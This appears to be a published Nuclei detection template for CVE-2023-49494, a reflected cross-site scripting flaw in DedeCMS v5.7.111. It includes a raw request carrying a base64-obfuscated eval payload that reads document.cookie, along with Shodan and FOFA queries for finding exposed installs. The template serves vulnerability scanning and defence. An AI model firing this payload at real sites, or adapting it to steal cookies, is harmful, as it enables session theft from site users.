DedeCMS v5.7.111 - Cross-Site Scripting

ID: CVE-2023-49494

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,dedecms,xss

Description

DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.

YAML Source

id: CVE-2023-49494

info:
  name: DedeCMS v5.7.111 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/Hebing123/cve/issues/3
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49494
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49494
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:a:dedecms:dedecms:5.7.111:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"DedeCms"
    fofa-query: app="DedeCMS"
  tags: cve,cve2023,dedecms,xss

http:
  - raw:
      - |
        GET /uploads/include/dialog/select_media_post_wangEditor.php?filename=1%3Cinput%20onfocus=eval(atob(this.id))%20id=YWxlcnQoZG9jdW1lbnQuY29va2llKTs=%20autofocus%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data":{"url":'
          - '<input onfocus=eval(atob(this.id)) id='
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022058a0f4cb7f7f89140b4c57f1d17e5132239c2653b85806d84136325b177a5c6a02201e7f716c6b249994330d399ed6cc6e371d6d0c3194b315561f0c56f57a024d22:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-49494.yaml"

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